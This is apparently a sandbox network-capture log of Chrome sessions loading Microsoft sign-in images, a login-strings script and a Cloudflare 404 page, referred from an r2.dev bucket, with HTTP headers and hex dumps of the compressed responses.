3	192.168.2.4	49742	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:44 UTC	681	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:44 UTC	800	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:44 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: a0b77564-001e-004a-2b50-90389a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234244Z-18655757dbc6zt5gd6v3xme51w00000004d0000000006eba x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:42:44 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:44 UTC	675	OUT	GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:44 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:44 GMT Content-Type: image/svg+xml Content-Length: 252 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739D7D79 x-ms-request-id: 941fbe0d-c01e-002e-5e57-90d6b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234244Z-18655757dbclnrp9pueazee7k8000000049g0000000061gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:44 UTC	252	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e5 53 cb aa c3 20 10 fd 15 71 ed 63 6c ac 26 c5 04 da 7d 7f e0 ee 02 0d 31 d0 17 55 6a 3f bf 6a 52 b8 e5 26 9b bb e9 a2 a8 87 d1 f1 38 e7 0c 68 dc bd 47 8f d3 f1 ec 6a 6c bd bf 6e 38 0f 21 b0 50 b0 cb ad e7 2b 00 e0 f1 06 46 61 38 78 5b 63 a1 30 b2 dd d0 5b 3f c6 f7 a1 0b bb cb a3 c6 80 00 09 15 27 6e 8c 1f fc b1 6b 5a e7 3a ef 0c 1f 77 e6 da 7a 8b 0e 35 de 0b 26 64 41 14 2b d7 ba 8d 31 68 32 22 c4 21 08 93 52 31 28 ab 74 a8 e4 84 53 4a 81 4e 2b 1f 8a 09 c7 14 10 56 56 c5 5f 0e fd cd 79 af 44 5f 95 b6 33 22 34 a9 18 ac 65 3b ff 20 5d 52 41 93 8a ed 8c 72 1d fd 56 52 2d f8 a5 49 c6 be fc 44 4f de 39 59 7f 0a fe 61 7b 41 5c 26 cd b4 78 72 7b ca 48 e0 4b 5c 0b 99 ed 66 d3 3f 98 37 26 7d ae e6 09 a7 d4 d5 8c 84 03 00 00 Data Ascii: S qcl&}1Uj?jR&8hGjln8!P+Fa8x[c0[?'nkZ:wz5&dA+1h2"!R1(tSJN+VV_yD_3"4e; ]RArVR-IDO9Ya{A\&xr{HK\f?7&}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:44 UTC	680	OUT	GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:45 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:44 GMT Content-Type: image/svg+xml Content-Length: 263 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83737D1C56 x-ms-request-id: 5b19da9b-401e-000a-4a57-90eb8b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234244Z-r1f585c6b65h9gg5sg4v66abb800000001eg000000002y3e x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:45 UTC	263	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e5 53 c9 6e c3 20 10 fd 15 44 af 2c 43 4d c0 ae c0 52 7a cf 0f f4 66 29 ae 8d e4 2c 2a 28 e4 f3 0b d8 95 1a d5 be f4 d2 43 59 9e 86 19 86 79 6f 24 8c bf 0d e8 7e 9a ce de e2 31 84 eb 0b e7 31 46 16 2b 76 f9 18 f8 33 00 f0 74 03 a3 e8 8e 61 b4 58 28 8c c6 de 0d 63 98 ed 9b eb e3 eb e5 6e 31 20 40 42 a5 85 5b 13 5c 98 fa b6 f3 be 0f de f0 f9 64 ae 5d 18 d1 bb 9b 26 8b 9f 74 19 18 1d 2d 3e 08 26 64 45 14 ab 77 ba 4b 36 68 32 23 a4 29 08 93 52 31 a8 9b ec 54 72 c1 25 a4 40 e7 5d 9c 62 c1 39 04 84 d5 4d f5 33 87 7e cf 79 ac 44 bf 2a ed 57 48 68 d2 30 d8 c9 6e fd 41 ba c5 82 66 16 fb 15 e6 3a e9 6d a4 da d0 4b 33 8d 43 fd 17 3d 79 cc 29 fc b3 f1 0b d9 1b e4 4a d2 4a 8b 17 b5 a7 82 04 fe 89 6a 21 8b dc 22 fa 0d f3 d6 e4 bf d6 7e 02 Data Ascii: Sn D,CMRzf),(CYyo$~11F+v3taX(cn1 @B[\d]&t->&dEwK6h2#)R1Tr%@]b9M3~yDWHh0nAf:mK3C=y)JJj!"~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:44 UTC	782	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_yruqtyo0qslo70l4a-_ung2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:44 UTC	792	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:44 GMT Content-Type: application/x-javascript Content-Length: 11322 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Aug 2020 03:03:49 GMT ETag: 0x8D83E6C5642CD2B x-ms-request-id: b38e4c3b-501e-0057-7057-9057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234244Z-18655757dbclnrp9pueazee7k8000000048000000000g3dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:44 UTC	11322	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d cb 76 1b 49 96 d8 de 5f 91 8d f6 69 89 53 29 14 1e 7c 42 85 92 41 00 94 30 02 01 14 00 8a 55 a7 aa 8c 93 44 06 c8 6c 01 99 70 66 42 14 9a cd 39 b3 9b 85 17 5e 7b e7 85 57 5e 7a e3 bd 3f 65 ce 19 7f 87 ef 23 22 32 f2 01 90 aa ea ee 9a 19 2d 28 20 1e 37 6e dc b8 71 5f 71 23 f0 bb c5 c6 9f c7 5e e0 bf 14 07 0f ea b3 15 bc f4 0f 1e bc c5 4b ef 47 ff e7 83 50 c4 9b d0 b7 f0 73 59 7c 5e 07 61 1c bd fe e4 84 56 dc c4 a2 e6 83 2c 6b 3c 3c da 9e db f0 ed 65 e0 b8 c2 6d fc ae fa f8 5a 76 15 d8 75 ee 2c 97 2f 63 05 c1 8e ed e4 73 70 00 5f b8 5b f3 77 95 a4 e2 11 87 f1 9a 0f 1a 50 50 5e 35 85 1d 94 e7 4d 0f fe ae 9b a5 92 1d bc ac 1c 3c be fc 31 99 86 1d d8 1e 20 ff b2 76 40 58 fa 4d ef 65 15 e0 c3 7f 47 07 76 08 ff 9d 1c d8 4e 33 Data Ascii: }vI_iS)\|BA0UDlpfB9^{W^z?e#"2-( 7nq_q#^KGPsY\|^aV,k<<emZvu,/csp_[wPP^5M<1 v@XMeGvN3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49736	104.18.3.35	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:45 UTC	180	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 23:42:45 GMT Content-Type: text/html Content-Length: 27242 Connection: close Server: cloudflare CF-RAY: 8758089ce8b753da-ATL
2024-04-16 23:42:45 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 66 6f 6f 74 65 72 2d 74 69 74 6c 65 22 3e 49 73 20 74 68 69 73 20 79 6f 75 72 20 62 75 63 6b 65 74 3f 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </p> </div> <div> <p id="footer-title">Is this your bucket?</p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/"
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 Data Ascii: l="#C5EBF5" stroke="#6ECCE5" stroke-width="2" /> <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 4c 36 30 2e 39 37 31 32 20 31 30 36 2e 39 30 36 43 36 30 2e 39 37 31 32 20 31 30 36 2e 39 30 36 20 36 32 2e 34 37 32 20 39 38 2e 33 33 34 35 20 36 37 2e 38 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 Data Ascii: <path d="M56.0777 105.406L60.9712 106.906C60.9712 106.906 62.472 98.3345 67.8304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 20 31 32 34 2e 37 31 37 20 31 30 36 2e 39 33 37 43 31 32 34 2e 30 35 38 20 31 30 36 2e 39 33 37 20 31 32 33 2e 34 30 36 20 31 30 37 2e 30 36 37 20 31 32 32 2e 37 39 38 20 31 30 37 2e 33 31 39 43 31 32 32 2e 31 38 39 20 31 30 37 2e 35 37 31 20 31 32 31 2e 36 33 36 20 31 30 37 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: 124.717 106.937C124.058 106.937 123.406 107.067 122.798 107.319C122.189 107.571 121.636 107.941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC"
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 43 31 33 34 2e 39 39 35 20 34 38 2e 39 35 31 36 20 31 33 31 2e 31 30 36 20 34 35 2e 30 36 32 37 20 31 33 31 2e 31 30 36 20 34 30 2e 32 36 35 36 43 31 33 31 2e 31 30 36 20 33 35 2e 34 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 Data Ascii: d="M139.792 48.9516C134.995 48.9516 131.106 45.0627 131.106 40.2656C131.106 35.4684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white"
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 37 34 20 31 31 30 2e 33 35 37 20 34 34 2e 35 31 31 38 20 31 31 31 2e 34 37 32 20 34 34 2e 35 31 33 39 43 31 31 32 2e 35 38 38 20 34 34 2e 35 31 33 39 20 31 31 33 2e 36 35 38 20 34 34 2e 30 37 30 36 20 31 31 34 2e 34 34 37 20 34 33 2e 32 38 31 33 43 31 31 35 2e 32 33 37 20 34 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 Data Ascii: 74 110.357 44.5118 111.472 44.5139C112.588 44.5139 113.658 44.0706 114.447 43.2813C115.237 42.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.550
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 20 31 35 32 2e 36 34 31 20 31 32 37 2e 35 35 32 20 31 34 38 2e 32 34 39 20 31 32 37 2e 35 35 32 20 31 34 32 2e 38 33 31 43 31 32 37 2e 35 35 32 20 31 33 37 2e 34 31 32 20 31 33 31 2e 38 31 38 20 31 33 33 2e 30 32 20 31 33 37 2e 30 38 31 20 31 33 33 2e 30 32 43 31 34 32 2e 33 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 Data Ascii: 152.641 127.552 148.249 127.552 142.831C127.552 137.412 131.818 133.02 137.081 133.02C142.344 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g
2024-04-16 23:42:45 UTC	1369	IN	Data Raw: 36 2e 37 36 35 56 39 35 2e 32 34 33 37 48 31 30 33 2e 32 35 32 56 37 31 2e 31 39 32 39 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 Data Ascii: 6.765V95.2437H103.252V71.1929Z" fill="#6ECCE5" /> <path d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	13.107.246.36	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:45 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
